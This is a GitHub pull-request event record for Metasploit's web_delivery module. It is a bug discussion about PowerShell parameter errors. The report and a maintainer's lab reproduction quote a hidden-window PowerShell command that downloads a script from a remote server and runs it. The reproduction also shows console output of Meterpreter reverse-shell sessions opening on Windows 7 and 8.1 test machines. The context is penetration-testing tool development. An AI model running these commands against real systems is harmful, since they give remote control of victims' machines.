{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4861","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4861/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4861/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4861/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/4861","id":59394641,"number":4861,"title":"web_delivery.rb powershell module should handle curly-based options","user":{"login":"n0b1dy","id":9717623,"avatar_url":"https://avatars.githubusercontent.com/u/9717623?v=3","gravatar_id":"","url":"https://api.github.com/users/n0b1dy","html_url":"https://github.com/n0b1dy","followers_url":"https://api.github.com/users/n0b1dy/followers","following_url":"https://api.github.com/users/n0b1dy/following{/other_user}","gists_url":"https://api.github.com/users/n0b1dy/gists{/gist_id}","starred_url":"https://api.github.com/users/n0b1dy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/n0b1dy/subscriptions","organizations_url":"https://api.github.com/users/n0b1dy/orgs","repos_url":"https://api.github.com/users/n0b1dy/repos","events_url":"https://api.github.com/users/n0b1dy/events{/privacy}","received_events_url":"https://api.github.com/users/n0b1dy/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/bug","name":"bug","color":"e11d21"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":5,"created_at":"2015-03-01T12:46:53Z","updated_at":"2015-05-01T15:35:02Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4861","html_url":"https://github.com/rapid7/metasploit-framework/pull/4861","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4861.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4861.patch"},"body":"Recent metasploit update or (something in windows) seemed to break web delivery.\r\n\r\nAdded the { }at the 92 line download_and_run = \"{#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))}\"\r\nseems to fix it.\r\n\r\n Along with a change to powershell.rb -w parameter to -win due to the following error:\r\n\r\n\"powershell.exe : Invoke-Expression : Parameter cannot be processed because the \r\nparameter name \r\nAt line:1 char:1\r\n+ powershell.exe -nop -w hidden -c IEX ((new-object \r\nnet.webclient).downl ...\r\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n~~~\r\n    + CategoryInfo          : NotSpecified: (Invoke-Expressi...parameter name  \r\n   :String) [], RemoteException\r\n    + FullyQualifiedErrorId : NativeCommandError\r\n \r\n'w' is ambiguous. Possible matches include: -WarningAction -WarningVariable.\r\nAt line:1 char:25\"\""},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/98158211","html_url":"https://github.com/rapid7/metasploit-framework/pull/4861#issuecomment-98158211","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4861","id":98158211,"user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"created_at":"2015-05-01T15:35:02Z","updated_at":"2015-05-01T15:35:02Z","body":"I'm unable to reproduce from master:\r\n\r\n* Windows 7 SP1 32 bits:\r\n\r\n```\r\nmsf > use exploit/multi/script/web_delivery\r\nmsf exploit(web_delivery) > set SRVHOST 172.16.158.1\r\nSRVHOST => 172.16.158.1\r\nmsf exploit(web_delivery) > set LHOST 172.16.158.1\r\nLHOST => 172.16.158.1\r\nmsf exploit(web_delivery) > show targets\r\n\r\nExploit targets:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Python\r\n   1   PHP\r\n   2   PSH\r\n\r\n\r\nmsf exploit(web_delivery) > set target 2\r\ntarget => 2\r\nmsf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(web_delivery) > exploit\r\n[*] Exploit running as background job.\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\nmsf exploit(web_delivery) > [*] Using URL: http://172.16.158.1:8080/XTSwO1b5i8Hdyu\r\n[*] Server started.\r\n[*] Run the following command on the target machine:\r\npowershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.158.1:8080/XTSwO1b5i8Hdyu'))\r\n[*] 172.16.158.131   web_delivery - Delivering Payload\r\n[*] Sending stage (882176 bytes) to 172.16.158.131\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51934) at 2015-05-01 10:22:59 -0500\r\n\r\nmsf exploit(web_delivery) > sessions -i 1\r\n[*] Starting interaction with 1...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-RNJ7NBRK9L7\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.131 - Meterpreter session 1 closed.  Reason: User exit\r\nmsf exploit(web_delivery) >\r\n```\r\n\r\n* Windows 8.1 64 bits\r\n\r\n```\r\nmsf exploit(web_delivery) >\r\n[*] 172.16.158.134   web_delivery - Delivering Payload\r\n[*] Sending stage (882176 bytes) to 172.16.158.134\r\n[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.134:1059) at 2015-05-01 10:28:51 -0500\r\n\r\nmsf exploit(web_delivery) >\r\nmsf exploit(web_delivery) > sessions -i 2\r\n[*] Starting interaction with 2...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-DSJ5DMLQP9M\r\nOS              : Windows 8.1 (Build 9600).\r\nArchitecture    : x64 (Current Process is WOW64)\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter >\r\n```\r\n\r\n@n0b1dy do you mind to provide exact steps to reproduce? \r\n\r\nIf you don't get this error consistently and could be due to some to random chars, as proposed by @Meatballs1, feel free to share a pcap (without SSL) with a test case where the error arises. So hopefully we can work on it. Thanks!"}}